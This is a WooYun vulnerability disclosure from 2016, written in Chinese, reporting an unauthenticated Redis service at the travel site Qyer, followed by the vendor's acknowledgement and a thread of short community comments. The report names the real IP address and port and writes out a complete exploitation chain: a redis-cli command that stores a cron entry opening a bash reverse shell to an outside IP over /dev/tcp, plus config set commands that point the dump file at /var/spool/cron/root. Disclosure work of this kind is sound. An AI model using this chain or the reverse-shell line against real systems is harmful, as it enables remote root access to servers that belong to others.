穷游网某服务未授权访问(可远程SHELL)

#1 漏洞参考

WooYun: 新浪微博某服务器控制不当(可远程SHELL)

#2 redis服务对外开放

redis://115.182.69.199:3000

#3 可以管理 slave

# Keyspace
 db0:keys=65454963,expires=130654,avg_ttl=30413755756

# Replication
 role:master
 connected_slaves:1
 slave0:ip=10.1.1.15,port=6379,state=online,offset=271341594993,lag=1
 master_repl_offset:271341599570

config get dir
  94) "/u01/redis/data"

650万条key，不敢执行flush命令测试损坏数据，仅仅证明

#漏洞利用，创建一个任务计划，执行命令

echo -e "/n/n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1/n/n"|redis-cli -h 115.182.69.199 -p 3000 -x set 0
 config set dir /var/spool/cron/ 
 config set dbfilename root

# 设置访问控制

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2016-05-03 14:06

厂商回复：

正在处理，谢谢关注穷游！

最新状态：

暂无

1. 2016-05-03 12:59 | Hero ( 普通白帽子 | Rank:162 漏洞数:53 | 药药切克闹,充气娃娃迷幻药)

   0

   1

   1# 回复此人

2. 2016-05-03 13:10 | Faith4444 ( 路人 | Rank:26 漏洞数:10 | 说出来可能你不信，我就是个垃圾)

   0

   2

   2# 回复此人

3. 2016-05-03 13:14 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号：233sec 不定期分享各种漏洞思...)

   0

   3

   3# 回复此人

4. 2016-05-03 13:15 | STCX ( 路人 | Rank:21 漏洞数:8 | 向大黑阔们致敬)

   0

   4

   4# 回复此人

5. 2016-05-03 13:17 | Bear baby ( 普通白帽子 | Rank:238 漏洞数:28 | 总感觉我会在哪天突然顿悟。)

   0

   5

   5# 回复此人

6. 2016-05-03 13:23 | 看~灰机！ ( 路人 | Rank:11 漏洞数:1 | 看~~~~~~~~~~~~~~~~~~~~~~~~~~看。。)

   0

   6

   6# 回复此人

7. 2016-05-03 13:33 | 木易 ( 普通白帽子 | Rank:347 漏洞数:70 | 不，，不要误会，我不是针对谁，我是说在座...)

   0

   排队的节奏

   7# 回复此人

8. 2016-05-03 13:34 | Augustus ( 路人 | Rank:2 漏洞数:1 | 不想学厨师的掌机玩家不是好程序员)

   0

   8

   8# 回复此人

9. 2016-05-03 13:42 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

   0

   999

   9# 回复此人

10. 2016-05-03 13:52 | dige ( 路人 | Rank:5 漏洞数:3 | 路虽远，行则必达，事虽难做则必成)

    0

    10

    10# 回复此人

11. 2016-05-03 13:58 | zusheng ( 路人 | Rank:6 漏洞数:2 | 网络安全工程师)

    0

    猪猪侠兼职不要太6啊

    11# 回复此人

12. 2016-05-03 13:58 | JiuShao ( 普通白帽子 | Rank:495 漏洞数:109 | ╮(╯▽╰)╭锄禾日当午)

    0

    看最近猪猪侠发漏洞，就可以知道，股市的好坏

    12# 回复此人

13. 2016-05-03 16:28 | 兔八哥 ( 实习白帽子 | Rank:41 漏洞数:6 | 我心飞 翔)

    0

    下辈子做猪猪侠男朋友吧

    13# 回复此人

14. 2016-05-04 20:15 | ds-hale ( 路人 | Rank:4 漏洞数:2 | free loop)

    0

    @兔八哥 问到了某些味道

    14# 回复此人